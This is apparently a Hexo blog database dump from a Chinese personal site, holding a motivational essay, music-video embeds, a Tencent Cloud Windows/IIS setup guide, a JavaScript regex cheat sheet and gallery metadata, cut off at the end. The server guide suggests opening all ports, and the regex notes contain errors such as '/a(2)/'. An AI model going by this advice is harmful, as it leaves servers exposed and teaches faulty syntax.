\n\n寄语:我们不缺乏成功的信念,但是我们绝对不会成为痴心妄想的傻瓜。狼群在面对枪口的时候,适当转移也是明智的选择。
\n
大丈夫能屈能伸,正如司马懿在诸葛亮的嘲讽下任然能够放下面子穿上女人的衣服,精明的野心家不会因为愤怒或是心情影响自己的理智,陶渊明的不为五斗米折腰品质固然可贵,但是换个角度思考,这样做的后果是百姓失去了一个好官,自己的前途受损!这样的结果真的是他想要的?如果当时他性格能够弹性一点,成就绝对不止这一点。至少留给后辈的作品会更丰富吧。
\n"},{"title":"我是愤怒","date":"2017-01-07T14:36:55.000Z","_content":"\n{% dplayer \n \"url=http://orjedzer5.bkt.clouddn.com/%E6%88%91%E6%98%AF%E6%84%A4%E6%80%92.mp4\" \n \"api=http://dplayer.daoapp.io\" \n \"id=3\" \n \"loop=yes\" \n \"theme=#fff\" \n \"autoplay=true\" \n \"token=tokendemo\" \n%}","source":"_posts/我是愤怒.md","raw":"---\ntitle: 我是愤怒\ndate: 2017-01-7 22:36:55\ntags: [beyond, rock]\ncategories: 音乐\n---\n\n{% dplayer \n \"url=http://orjedzer5.bkt.clouddn.com/%E6%88%91%E6%98%AF%E6%84%A4%E6%80%92.mp4\" \n \"api=http://dplayer.daoapp.io\" \n \"id=3\" \n \"loop=yes\" \n \"theme=#fff\" \n \"autoplay=true\" \n \"token=tokendemo\" \n%}","slug":"我是愤怒","published":1,"updated":"2018-01-22T06:41:02.481Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y6x004bvzqhbw63ijop","content":"","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":""},{"title":"搭一个windows云服务器","date":"2017-06-16T14:02:51.000Z","_content":"\n前段时间看到腾讯云服务器对学生有优惠,而且很大一坨,就买了一个回来研究,废话不多说,开搞咯~\n\n## 买服务器\n* 首先你得入手一个服务器,学生特惠8元/月,还有一块的,不过难抢,机不可失,失不再来,毕业你就没机会了,\n> 地方的话就近原则,访问应该会快点\n\n## 配置服务器\n* 我这里是配了 Windows2012 64位系统,1核1G内存\n> Linux的系统,听说比较好用,但目前我还没用过,Windows我觉得也还行\n\n* 进入云服务器控制中心,打开安全组,按需求开放端口\n> 我是开放了全部端口的,你可以随意\n\n## 远程连接服务器\n* 在命令行输入 mstcs 输入你的电脑信息,邮箱查看电脑的默认密码,请及时修改,账号一般默认是administritor,不是的话请先确认\n\n## 设置主页\n* 进入云服务器之后,打开服务器管理器,[新建角色] => [基于角色和功能的安装] => [从服务器池中选择服务器] => [web服务器应用程序开发,勾选.net4.5 和CGI] => [IIS可承载的web核心] => [确认安装]\n> 中间如果碰到什么问题,仔细看流程,如果还报错,我也帮不了你了\n\n* 安装完成之后就可以通过ip地址访问到一个有IIS提示的蓝色网站,该项目的默认地址是 C:inetpub/wwwroot 你想更改的话可以直接拿你的html(htm)文件放在该目录下,一定要保证根目录有个html(htm)文件\n\n## 设置分页\n* 如果你想通过类似 localhost/about 路径访问你的about项目,你可以在IIS管理的的 default website添加你的项目路径\n>右键 添加应用程序,将该项目的物理路径填上去就可以了 \n","source":"_posts/搭一个windows云服务器.md","raw":"---\ntitle: 搭一个windows云服务器\ndate: 2017-06-16 22:02:51\ntags: [windows, 腾讯云]\ncategories: 服务器\n---\n\n前段时间看到腾讯云服务器对学生有优惠,而且很大一坨,就买了一个回来研究,废话不多说,开搞咯~\n\n## 买服务器\n* 首先你得入手一个服务器,学生特惠8元/月,还有一块的,不过难抢,机不可失,失不再来,毕业你就没机会了,\n> 地方的话就近原则,访问应该会快点\n\n## 配置服务器\n* 我这里是配了 Windows2012 64位系统,1核1G内存\n> Linux的系统,听说比较好用,但目前我还没用过,Windows我觉得也还行\n\n* 进入云服务器控制中心,打开安全组,按需求开放端口\n> 我是开放了全部端口的,你可以随意\n\n## 远程连接服务器\n* 在命令行输入 mstcs 输入你的电脑信息,邮箱查看电脑的默认密码,请及时修改,账号一般默认是administritor,不是的话请先确认\n\n## 设置主页\n* 进入云服务器之后,打开服务器管理器,[新建角色] => [基于角色和功能的安装] => [从服务器池中选择服务器] => [web服务器应用程序开发,勾选.net4.5 和CGI] => [IIS可承载的web核心] => [确认安装]\n> 中间如果碰到什么问题,仔细看流程,如果还报错,我也帮不了你了\n\n* 安装完成之后就可以通过ip地址访问到一个有IIS提示的蓝色网站,该项目的默认地址是 C:inetpub/wwwroot 你想更改的话可以直接拿你的html(htm)文件放在该目录下,一定要保证根目录有个html(htm)文件\n\n## 设置分页\n* 如果你想通过类似 localhost/about 路径访问你的about项目,你可以在IIS管理的的 default website添加你的项目路径\n>右键 添加应用程序,将该项目的物理路径填上去就可以了 \n","slug":"搭一个windows云服务器","published":1,"updated":"2018-01-22T06:41:43.164Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y6y004evzqh34hxppax","content":"前段时间看到腾讯云服务器对学生有优惠,而且很大一坨,就买了一个回来研究,废话不多说,开搞咯~
\n\n\n地方的话就近原则,访问应该会快点
\n
我这里是配了 Windows2012 64位系统,1核1G内存
\n\n\nLinux的系统,听说比较好用,但目前我还没用过,Windows我觉得也还行
\n
进入云服务器控制中心,打开安全组,按需求开放端口
\n\n\n我是开放了全部端口的,你可以随意
\n
进入云服务器之后,打开服务器管理器,[新建角色] => [基于角色和功能的安装] => [从服务器池中选择服务器] => [web服务器应用程序开发,勾选.net4.5 和CGI] => [IIS可承载的web核心] => [确认安装]
\n\n\n中间如果碰到什么问题,仔细看流程,如果还报错,我也帮不了你了
\n
安装完成之后就可以通过ip地址访问到一个有IIS提示的蓝色网站,该项目的默认地址是 C:inetpub/wwwroot 你想更改的话可以直接拿你的html(htm)文件放在该目录下,一定要保证根目录有个html(htm)文件
\n\n\n右键 添加应用程序,将该项目的物理路径填上去就可以了
\n
前段时间看到腾讯云服务器对学生有优惠,而且很大一坨,就买了一个回来研究,废话不多说,开搞咯~
\n\n\n地方的话就近原则,访问应该会快点
\n
我这里是配了 Windows2012 64位系统,1核1G内存
\n\n\nLinux的系统,听说比较好用,但目前我还没用过,Windows我觉得也还行
\n
进入云服务器控制中心,打开安全组,按需求开放端口
\n\n\n我是开放了全部端口的,你可以随意
\n
进入云服务器之后,打开服务器管理器,[新建角色] => [基于角色和功能的安装] => [从服务器池中选择服务器] => [web服务器应用程序开发,勾选.net4.5 和CGI] => [IIS可承载的web核心] => [确认安装]
\n\n\n中间如果碰到什么问题,仔细看流程,如果还报错,我也帮不了你了
\n
安装完成之后就可以通过ip地址访问到一个有IIS提示的蓝色网站,该项目的默认地址是 C:inetpub/wwwroot 你想更改的话可以直接拿你的html(htm)文件放在该目录下,一定要保证根目录有个html(htm)文件
\n\n\n右键 添加应用程序,将该项目的物理路径填上去就可以了
\n
正则表达式(Regular Expression)是一种文本模式,包括普通字符(例如,a 到 z 之间的字母)和特殊字符(称为”元字符”)。
正则表达式使用单个字符串来描述、匹配一系列匹配某个句法规则的字符串。
正则表达式是烦琐的,但它是强大的,学会之后的应用会让你除了提高效率外,会给你带来绝对的成就感。
执行对大小写不敏感的匹配。
\n执行全局匹配(所有,而不是找到一个后停止匹配)。
\n执行多行匹配。
\n查找方括号之间的任何字符。
\n查找任何不在方括号内的字符。
\n查找任何从 0 至 9 的数字。
\n查找任何从小写 a 到 z 的字符。
\n查找任何从大写 A 到 Z 的字符。
\n查找任何从大写 A 到小写 z 的字符。
\n查找括号中给定的字符集。
\n查找除括号内之外的所有字符。
\n查找任何指定的选项。
\n查找单个字符,除了换行符和结束符。
\n查找单词字符。
\n查找非单词字符。
\n查找数字。
\n查找非数字。
\n查找空白字符。
\n查找非空白字符。
\n匹配单词边界。
\n匹配非单词边界。
\n查找null字符。
\n查找换行符。
\n查找换页符。
\n查找回车符。
\n查找制表符。
\n查找垂直制表符。
\n查找以八进制 xxx 规定的字符。
\n查找以十六进制 dd 规定的字符。
\n查找以十六进制 xxxx 规定的 Uicode 字符。
\n匹配任何包含至少一个 n 的字符串。
\n\n\neg: /a+/ 匹配 “candy” 中的 “a”, “caaaaaandy” 中的 “a”。
\n
匹配任何包含零个或多个 n 的字符串。
\n\n\neg: /bo*/ 匹配 “a ghost booooed ” 中的 “boooo”,“hell by” 中的 ”b”。
\n
匹配任何包含零个或一个 n 的字符串。
\n\n\neg: /e?le?/ 匹配 “angel” 中的 “el”,“angle” 中的 “le”。
\n
匹配包含 X个 n 的序列的字符串。
\n\n\neg: /a(2)/ 不匹配 “candy” 中的 “a”,但是匹配 “caandy”,“caaandy”。
\n
X 是一个正整数,前面的模式 n 连续出现至少 X 次匹配。
\n\n\n/a{2,}/ 不匹配 “candy”,匹配 “caandy” 和 “caaaandy” 中的所有 “a“。
\n
n 出现至少 X 次,至多 Y 次。
\n\n\n/a{1,3} 匹配 ”candy“ 的 ”a“,”caandy“ 中的 ”aa“,“caaaandy” 前三个 “a”。
\n
匹配任何以 n 结尾的字符串。
\n匹配任何以 n 开头的字符串。
\n匹配任何其后紧接指定 n 的字符串。
\n匹配任何其后没有指定 n 的字符串。
\n编译正则表达式。
\n检索字符串中指定的值。返回找到的值,并确定其位置。
\n检索字符串中指定的值,返回 true or false。
\n检索与正则表达式相匹配的值。
\n\n\neg: str.search(“blue”) 返回的是 blue 出现的字符下标(大小写敏感)。
\n
找到一个或者多个正则表达式的匹配。
\n\n\neg: str.match(/ain/g) 返回所有出现的 ain (大小写敏感)。
\n
替换与正则表达式匹配的字串。
\n\n\neg: str.replace(/blue/g,”red”) 替换所有 blue 为 red。
\n
把字符串分割为字符串数组。
\n\n\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"string.split(separator,limit) 在 separator 指定位置分割, 返回内容不超过 limit 长度。
\n
正则表达式(Regular Expression)是一种文本模式,包括普通字符(例如,a 到 z 之间的字母)和特殊字符(称为”元字符”)。
正则表达式使用单个字符串来描述、匹配一系列匹配某个句法规则的字符串。
正则表达式是烦琐的,但它是强大的,学会之后的应用会让你除了提高效率外,会给你带来绝对的成就感。
执行对大小写不敏感的匹配。
\n执行全局匹配(所有,而不是找到一个后停止匹配)。
\n执行多行匹配。
\n查找方括号之间的任何字符。
\n查找任何不在方括号内的字符。
\n查找任何从 0 至 9 的数字。
\n查找任何从小写 a 到 z 的字符。
\n查找任何从大写 A 到 Z 的字符。
\n查找任何从大写 A 到小写 z 的字符。
\n查找括号中给定的字符集。
\n查找除括号内之外的所有字符。
\n查找任何指定的选项。
\n查找单个字符,除了换行符和结束符。
\n查找单词字符。
\n查找非单词字符。
\n查找数字。
\n查找非数字。
\n查找空白字符。
\n查找非空白字符。
\n匹配单词边界。
\n匹配非单词边界。
\n查找null字符。
\n查找换行符。
\n查找换页符。
\n查找回车符。
\n查找制表符。
\n查找垂直制表符。
\n查找以八进制 xxx 规定的字符。
\n查找以十六进制 dd 规定的字符。
\n查找以十六进制 xxxx 规定的 Uicode 字符。
\n匹配任何包含至少一个 n 的字符串。
\n\n\neg: /a+/ 匹配 “candy” 中的 “a”, “caaaaaandy” 中的 “a”。
\n
匹配任何包含零个或多个 n 的字符串。
\n\n\neg: /bo*/ 匹配 “a ghost booooed ” 中的 “boooo”,“hell by” 中的 ”b”。
\n
匹配任何包含零个或一个 n 的字符串。
\n\n\neg: /e?le?/ 匹配 “angel” 中的 “el”,“angle” 中的 “le”。
\n
匹配包含 X个 n 的序列的字符串。
\n\n\neg: /a(2)/ 不匹配 “candy” 中的 “a”,但是匹配 “caandy”,“caaandy”。
\n
X 是一个正整数,前面的模式 n 连续出现至少 X 次匹配。
\n\n\n/a{2,}/ 不匹配 “candy”,匹配 “caandy” 和 “caaaandy” 中的所有 “a“。
\n
n 出现至少 X 次,至多 Y 次。
\n\n\n/a{1,3} 匹配 ”candy“ 的 ”a“,”caandy“ 中的 ”aa“,“caaaandy” 前三个 “a”。
\n
匹配任何以 n 结尾的字符串。
\n匹配任何以 n 开头的字符串。
\n匹配任何其后紧接指定 n 的字符串。
\n匹配任何其后没有指定 n 的字符串。
\n编译正则表达式。
\n检索字符串中指定的值。返回找到的值,并确定其位置。
\n检索字符串中指定的值,返回 true or false。
\n检索与正则表达式相匹配的值。
\n\n\neg: str.search(“blue”) 返回的是 blue 出现的字符下标(大小写敏感)。
\n
找到一个或者多个正则表达式的匹配。
\n\n\neg: str.match(/ain/g) 返回所有出现的 ain (大小写敏感)。
\n
替换与正则表达式匹配的字串。
\n\n\neg: str.replace(/blue/g,”red”) 替换所有 blue 为 red。
\n
把字符串分割为字符串数组。
\n\n\n"},{"title":"梦中的婚礼","date":"2016-08-15T07:38:42.000Z","_content":"\n{% dplayer \n \"url=http://orjedzer5.bkt.clouddn.com/%E6%A2%A6%E4%B8%AD%E7%9A%84%E5%A9%9A%E7%A4%BC.mp4\n\" \n \"api=http://dplayer.daoapp.io\" \n \"id=4\" \n \"loop=yes\" \n \"theme=#fff\" \n \"autoplay=true\" \n \"token=tokendemo\" \n%}","source":"_posts/梦中的婚礼.md","raw":"---\ntitle: 梦中的婚礼\ndate: 2016-08-15 15:38:42\ntags: [指弹, 古典]\ncategories: 音乐\n---\n\n{% dplayer \n \"url=http://orjedzer5.bkt.clouddn.com/%E6%A2%A6%E4%B8%AD%E7%9A%84%E5%A9%9A%E7%A4%BC.mp4\n\" \n \"api=http://dplayer.daoapp.io\" \n \"id=4\" \n \"loop=yes\" \n \"theme=#fff\" \n \"autoplay=true\" \n \"token=tokendemo\" \n%}","slug":"梦中的婚礼","published":1,"updated":"2018-01-22T06:42:13.478Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y73004kvzqh379rff47","content":"","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":""},{"title":"深入浅出 Ajax","date":"2018-01-31T03:29:45.000Z","_content":"","source":"_posts/深入浅出-Ajax.md","raw":"---\ntitle: 深入浅出 Ajax\ndate: 2018-01-31 11:29:45\ntags:\n---\n","slug":"深入浅出-Ajax","published":1,"updated":"2018-01-31T03:29:45.267Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y75004ovzqhttee57qq","content":"","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"ful